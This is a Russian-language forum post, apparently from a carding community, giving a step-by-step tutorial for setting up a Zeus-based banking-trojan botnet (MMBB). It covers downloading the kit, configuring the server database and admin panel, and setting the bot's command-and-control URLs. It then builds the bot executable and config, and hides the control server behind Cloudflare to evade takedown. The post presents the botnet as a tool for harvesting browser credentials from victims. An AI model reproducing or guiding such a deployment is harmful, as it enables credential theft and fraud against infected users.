Установка ботнета (2015)

Helper

Для начала качаем MMBB (Zeus 2.9.6.1)
http://rghost.net/6gnvhzBC4
Пароль : crdclub.ws

Далее нам понадобится любой VPS с админ правами.
Найдите какой нибудь рублей за 300, просто на "попробовать", некоторые даже тест дают на пару дней.
После одобрения нашего сервера на мыло пришлют детали для доступа.
Основная инфа,которая нас интересует - IP, логин, пароль. Для примера мы возьмём IP : 192.168.0.1 , login : root , password : pswd.

Подключаемся с помощью Putty (красноглазые сами знают как подключиться у себя)
Указываем IP, далее root и pswd. Ввод пароля отображаться не будет. Когда введёте pswd просто нажмите enter.

Появится такая надпись : "login as: root"
Ура, мы на сервере.

Создадим БД для нашего бота. Туда будут писаться логи и прочее.
Вводим в консоли Putty

Code:

mysql -u root -p

Запросит пароль, вводим :

Code:

pswd

Если нас впустило в мускул, увидим строчку

Code:

mysql>

Дальше создаём БД

Code:

create database site;

Если будет Query OK , То всё ок

Теперь создадим пользователя для это базы

Code:

create user 'user'@'localhost' identified by 'password';

И нужно дать юзеру права на эту базу. На запись,чтение и прочее.

Code:

grant select, insert, delete, update, create, alter, drop on site.* to 'user';

Ну. Пользователь и база у нас есть.
База данных - site
Пользователь - user
Пароль - password
Качаем WinSCP - это что то типа файлзиллы.
Далее погуглите и скачайте "готовый сайт". Как правило это html странички и изображения.
Залейте в корневой каталог вашего веб сайта ( например var/www/user/site.com/ , на каждом VPS по разному) с помощью WinSCP.

Проверьте , отображается ли сайт так как надо. 192.168.0.1/index.html|php
Создайте в директории сайта папку например tmp , в ней папку log
Закиньте туда admin panel из архива с MMBB.

Ставим права на запись/чтение каталога install и вроде-бы system.

Переходим по адресу 192.168.0.1/tmp/log/install/
Вводим данные нашей базы данных. Поздравляю, ботнет установлен на сервер. (ахренеть сложно , да?)

Вернёмся к архиву с ботнетом. Берём файлик config.txt в папке builder
Внимание. encryption_key не меняем. Если именить, отстука не будет.

Строка url_config - это пусть к конфигу на сервере. В нашем случае http://192.168.0.1/tmp/log/modules/config.bin
url_loader - путь к трою. В нашем случае http://192.168.0.1/tmp/log/modules/bot.exe
url_server - путь к сердцу ботнета. В нашем случае http://192.168.0.1/tmp/log/gate.php

Модули меняем на http://192.168.0.1/tmp/log/modules/mod1|mod2|mod3

Закрываем конфиг , сохраняем его. Запускаем praim.exe нажимаем "собрать бота", "собрать конфиг".
Закидываем 2 файла bot.exe и config.bin на сервер в папку modules.
Заходим в админку бота > 192.168.0.1/tmp/log/admincp.php вводим логин пароль указанные при установке

Наблюдаем кол-во ботов : 0

Берём файлик bot.exe который мы создали с помощью билдера (praim.exe) и запускаем.
Обновляем админку и видим 1 бота онлайн. Нас.

Качаем файрфокс, пробуем зайти в вф или ещё куда нибудь. Увидите логи через час в админке.

Далее покупаете домен, привязываете к серверу.
Идёте на cloudflare.com регистрируете бесплатный аккаунт, прячете свой домен (бота) в клауде. Так будет сложнее найти ваш ботнет, ибо айпи будет меняться на клаудовский.
ММББ отлично бьёт файрфокс всех версий и эксплорер.

Для того,что бы бот заработал требуется IonCube . Такая штучка, которая декодирует (позволяет читать серверу) файлы бота.
Если честно, через лоадер никогда не ставил. Поэтому опишу,как делаю всегда я лично.

В данном примере мы рассмотрим CentOS 6 x86_64 архитектуры.
Для начала посмотрим версию пыхи, для этого введите команду в Putty

Code:

php -v

В большинстве случаев стоит php 5.3 , вывод команды будет вот такой:

Соответственно IonCube нам нужен такой же версии как и PHP , в данном случае 5.3

Качаем архив
http://downloads2.ioncube.com/loader..._x86-64.tar.gz
Ищем там файлы версии 5.3

Закидываем 2 файла
ioncube_loader_lin_5.3_ts.so
ioncube_loader_lin_5.3.so
В папку /usr/lib/php5/ioncube/modules/ (каталог на сервере).

Открываем файл php.ini (или my.ini) который расположен в каталоге /etc/
Пишем 3 строчки где-нибудь в конце, дабы было легко их найти.

Code:

[Zend]
zend_extension = /usr/lib/php5/modules/ioncube_loader_lin_5.3.so
zend_extension_ts = /usr/lib/php5/modules/ioncube_loader_lin_5.3_ts.so

Сохраняем, закрываем.
Перезагружаем сервер

Code:

service httpd restart

или

Code:

/etc/init.d/apache2 restart

Всё должно работать.

Ставьте лайки, подписывайтесь на мой канал. С вами был user (c)